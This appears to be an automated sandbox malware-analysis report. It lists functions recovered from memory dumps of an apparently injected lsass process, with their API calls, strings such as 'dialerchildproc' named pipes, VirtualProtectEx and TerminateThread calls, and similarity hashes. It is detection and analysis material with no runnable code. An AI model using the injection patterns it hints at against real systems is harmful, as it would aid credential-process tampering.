Instruction Fuzzy Hash: 3531A574580B4AA0EA07EB6BE8516E47321BB5D3B4FF05413AE0D131B69F788E49C3D2

Function 00000140ADFC6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140ADFC6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000140ADFC698A
_RTC_Initialize.LIBCMT ref: 00000140ADFC69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140ADFC69DE
__scrt_release_startup_lock.LIBCMT ref: 00000140ADFC6A09

Strings

`dynamic initializer for ', xrefs: 00000140ADFC69C7
`eh vector vbase copy constructor iterator', xrefs: 00000140ADFC69EE
scriptor', xrefs: 00000140ADFC6B39, 00000140ADFC6BB2, 00000140ADFC6BEC
`eh vector copy constructor iterator', xrefs: 00000140ADFC6A3B

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 79a856343edf9d6588f3d0cd2b4f253cfe509a1624521d714eea0eda72951458
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: FC81E23162834987F656AB6798403DB72A3EF8D784F3440259B69477B6DB38C867B300

Function 00000140AE86CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000140AE86CE37
FlsGetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE4C
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE6D
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CE9A
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEAB
FlsSetValue.KERNEL32(?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CEBC
SetLastError.KERNEL32 ref: 00000140AE86CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF0D
FlsSetValue.KERNEL32(?,?,00000001,00000140AE86ECCC,?,?,?,?,00000140AE86BF9F,?,?,?,?,?,00000140AE867AB0), ref: 00000140AE86CF2C

Part of subcall function 00000140AE86D6CC: HeapAlloc.KERNEL32 ref: 00000140AE86D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF54

Part of subcall function 00000140AE86D744: HeapFree.KERNEL32 ref: 00000140AE86D75A
Part of subcall function 00000140AE86D744: GetLastError.KERNEL32 ref: 00000140AE86D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000140AE870A6B,?,?,?,00000140AE87045C,?,?,?,00000140AE86C84F), ref: 00000140AE86CF76

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: b2b40885048b18a77dd749f130d094d7928ae544b3603784d23cb63539606b23
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 0941183028174441FA6BAB6799553E922926B5C7B0F744B24AF3E4B6F6DE789C01C2C3

Function 00000140AE862244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000140AE862259
GetCurrentProcessId.KERNEL32 ref: 00000140AE862263

Part of subcall function 00000140AE861934: OpenProcess.KERNEL32 ref: 00000140AE861952
Part of subcall function 00000140AE861934: IsWow64Process.KERNEL32 ref: 00000140AE861968
Part of subcall function 00000140AE861934: CloseHandle.KERNEL32 ref: 00000140AE861983

CreateFileW.KERNEL32 ref: 00000140AE8622BC
WriteFile.KERNEL32 ref: 00000140AE8622E4
ReadFile.KERNEL32 ref: 00000140AE862303
CloseHandle.KERNEL32 ref: 00000140AE86230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000140AE86228C
\\.\pipe\dialerchildproc32, xrefs: 00000140AE862293

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d526e0782f541ea269add2dfc30b9375b8e19e2713657146a865421fd34f2e67
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: FB213936654B40C2EB11CB26E54839A77A1F789BA4F600215EF5D03BB8CF3CC949CB41

Function 00000140AE86A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140AE86A5A1

Part of subcall function 00000140AE86B414: __GetUnwindTryBlock.LIBCMT ref: 00000140AE86B457
Part of subcall function 00000140AE86B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140AE86B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140AE86A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140AE86A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140AE86A9DA

Strings

csm, xrefs: 00000140AE86A69C
csm, xrefs: 00000140AE86A5BB
csm, xrefs: 00000140AE86A622

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 7b4ba636362c0b5caa681dd8b7c7e919a21c7b74d1dcc59cd2284cb1c0ce2a62
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 80E1B5726447408AEB62DF66D4803DD77A0F74DBA8F200156EF9D57BA9CB38C881D782

Function 00000140ADFC9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140ADFC99A1

Part of subcall function 00000140ADFCA814: __GetUnwindTryBlock.LIBCMT ref: 00000140ADFCA857
Part of subcall function 00000140ADFCA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140ADFCA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140ADFC9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140ADFC9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140ADFC9DDA

Strings

csm, xrefs: 00000140ADFC99BB
csm, xrefs: 00000140ADFC9A22
csm, xrefs: 00000140ADFC9A9C

Memory Dump Source

Source File: 00000024.00000002.3311300109.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140adfc0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 610288a21bba7234f961b83c38f566fdeb512e40ac2c0f228fa86b943482e177
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 21E1AE726247488BEB62DB26D4803DE37B3FB49B89F200115EF8957BA5DB34C1A2D700

Function 00000140AE86F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000140AE86F510
GetProcAddress.KERNEL32 ref: 00000140AE86F51C

Strings

api-ms-, xrefs: 00000140AE86F45A
ext-ms-, xrefs: 00000140AE86F46D

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 54f3c5caea9a3c542447f16078fc342d6fc1075fabbd0ba72b9af9b604dcfd33
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 0A41AE32391B0082EB27CF17A9047D56391BB4DBB0F7945259E0E97BA4EE38CC45D392

Function 00000140AE86104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE8610B1
RegEnumValueW.ADVAPI32 ref: 00000140AE861117
GetProcessHeap.KERNEL32 ref: 00000140AE86115A
HeapAlloc.KERNEL32 ref: 00000140AE861168
GetProcessHeap.KERNEL32 ref: 00000140AE861185
HeapFree.KERNEL32 ref: 00000140AE861193

Strings

d, xrefs: 00000140AE8610D6

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: f351be34048a7ac2b0398fd5e5befab81f97ba1f80314118af7c8759807b7470
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 54415B32614B84C6E761CF22E44439A77B1F389BA8F248129DF8D07B68DF38C849CB41

Function 00000140AE86D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D087
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0A6
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0CE
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0DF
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0F0

Strings

Y%, xrefs: 00000140AE86D0A6
1%, xrefs: 00000140AE86D0CE

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5fd4451407afae9fb266b5747a94aa354b26cb0abe68d3eef0f402a98e977e8e
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D1114C3068434441FA6AAB275A513E962516B5C7F0F785B24AE3D076FEDE78DC02C683

Function 00000140AE867510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140AE867538
__scrt_acquire_startup_lock.LIBCMT ref: 00000140AE86758A
_RTC_Initialize.LIBCMT ref: 00000140AE8675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140AE8675DE
__scrt_release_startup_lock.LIBCMT ref: 00000140AE867609

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 65cc65eb12478eed7e59dbe5af20ea895e9a9811b6e8982f7201964f625eb0cd
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F2819F30A9034187FB53AB6798413D92292AB8D7B4F744525AF0C477B6EB3ACC45C7C2

Function 00000140AE869DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000140AE869E49
GetLastError.KERNEL32 ref: 00000140AE869E57
LoadLibraryExW.KERNEL32 ref: 00000140AE869E81
FreeLibrary.KERNEL32 ref: 00000140AE869EC7
GetProcAddress.KERNEL32 ref: 00000140AE869ED3

Strings

api-ms-, xrefs: 00000140AE869E69

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03dcf4635245ae701bcfc235362316d2ff68836874f11cf0347ec2092aff8e99
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9F319031292B40E1EF239B47A4007D56394B74CBB0F7985259E2E4B7A0EF7DC845C392

Function 00000140AE873DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000140AE873DE5
GetLastError.KERNEL32 ref: 00000140AE873DF1
CloseHandle.KERNEL32 ref: 00000140AE873E09
CreateFileW.KERNEL32 ref: 00000140AE873E34
WriteConsoleW.KERNEL32 ref: 00000140AE873E53

Strings

CONOUT$, xrefs: 00000140AE873E15

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ad989254367ffea67bb77bf17bba7392694ea205673c5da45a75a0c92e4d569a
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 82114932650B4086E7528B53A84439977A4B79CFF4F644224EF5E87BA5CF38C814C782

Function 00000140AE863790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
GetCurrentProcess.KERNEL32 ref: 00000140AE863809
VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

Strings

wr, xrefs: 00000140AE8637FF

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: fd890a10e18ff91e2345af510b04503e6d001258bbebb589a967ba1f92d71b91
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 81113936B45B8182FF159B23E4082A972A0FB8CBA5F640029DF9D077A4EF3DC905C745

Function 00000140AE865B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B
GetThreadContext.KERNEL32 ref: 00000140AE865CD5

Part of subcall function 00000140AE865960: GetCurrentThreadId.KERNEL32 ref: 00000140AE865964

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 4b8643210702c91202cb0783c5a391a2a26d50b369a2e2f855514301358eef3e
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 98D19736248B8882DA719B0AE49439A77A0F78CB94F600516EF8D47BB5DF3CC941CB81

Function 00000140AE862F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE862F27
HeapAlloc.KERNEL32 ref: 00000140AE862F3A
StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
GetProcessHeap.KERNEL32 ref: 00000140AE863015
HeapFree.KERNEL32 ref: 00000140AE863023

Strings

dialer, xrefs: 00000140AE862FA8

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: a2d052cb6962f498e3cef9ed57c0a8daa6a62b61da821da8834fd8d960af75c0
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: D231B332741B5182EB26DF1BE5447A9A7A0FB4DBA4F2881209F4C47B75EF34C8A5C781

Function 00000140AE86CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000140AE86CFAF
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86CFE5
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D012
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D023
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D034
SetLastError.KERNEL32 ref: 00000140AE86D04F

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: b1e378f208745640ce80b78c559ffaa0a20b0e3a8eff5e4311b7b060cf634d78
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: F3112E3028534081FA66AB635A553A962416B9C7F4F344B24EE3E476FADE78DC01D6C3

Function 00000140AE86199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000140AE8619C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
lstrlenW.KERNEL32 ref: 00000140AE8619FB
StrCpyW.SHLWAPI ref: 00000140AE861A0E
CloseHandle.KERNEL32 ref: 00000140AE861A1C

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9022e9ca5b0b5f71c7b82a84b25e46de0569a46428ab685b711a92cff19137a4
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: A5015731740B4082EB51DB53A848799A3A1F78CBD1FA84035DF4D43B65DE38C989C781

Function 00000140AE8636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE8636E4
GetCurrentProcess.KERNEL32 ref: 00000140AE8636F2
VirtualProtectEx.KERNEL32 ref: 00000140AE863714
GetCurrentProcess.KERNEL32 ref: 00000140AE863732
VirtualProtectEx.KERNEL32 ref: 00000140AE863753
TerminateThread.KERNEL32 ref: 00000140AE863762

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 301de5e6a3bc59086d6f9150b82df67b6d6c22bbab0207dc7c03168e1951e1a1
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 01015774651B40C2EB269B23E81879973A0BB9DBA2F240428CF4D07774EF3CC908C782

Function 00000140AE868FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE869013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140AE8690A8
RtlUnwindEx.NTDLL ref: 00000140AE8690F7

Strings

f, xrefs: 00000140AE869026
csm, xrefs: 00000140AE86908E

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: bd338bf40550659d0ab490f789d63c081b601061abea68a920c6aca0165ba548
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 8351A13265170086EB16CB16E848B9937A6F348BA8F318524DF1A477E8DB3DCC41C782

Function 00000140AE863044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000140AE863066
StrCpyW.SHLWAPI ref: 00000140AE863076
StrCatW.SHLWAPI ref: 00000140AE863082
PathCombineW.SHLWAPI ref: 00000140AE863090

Strings

\\.\pipe\, xrefs: 00000140AE86305C

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 0e89825c8f5d70b27a483a01b8d98a85527b4973c2a0efa788cb30948269fb2a
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A6F05E30644B8082EB058B53B9041996261AB8CFE0F245020EF4E07B78DE38C849C782

Function 00000140AE86BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000140AE86BCBD
GetProcAddress.KERNEL32 ref: 00000140AE86BCD3
FreeLibrary.KERNEL32 ref: 00000140AE86BCFA

Strings

mscoree.dll, xrefs: 00000140AE86BCB4
CorExitProcess, xrefs: 00000140AE86BCCC

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 0a5f03d881548423950f550b58b8fc74d35f60bbb561fa5f685fc2d061d5bb49
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 7EF06D71655B0582EB128B26E8443A97320EB8CBB5F740219CF6E472F4CF3DC948D381

Function 00000140AE8650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865156

Memory Dump Source

Source File: 00000024.00000002.3313357775.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
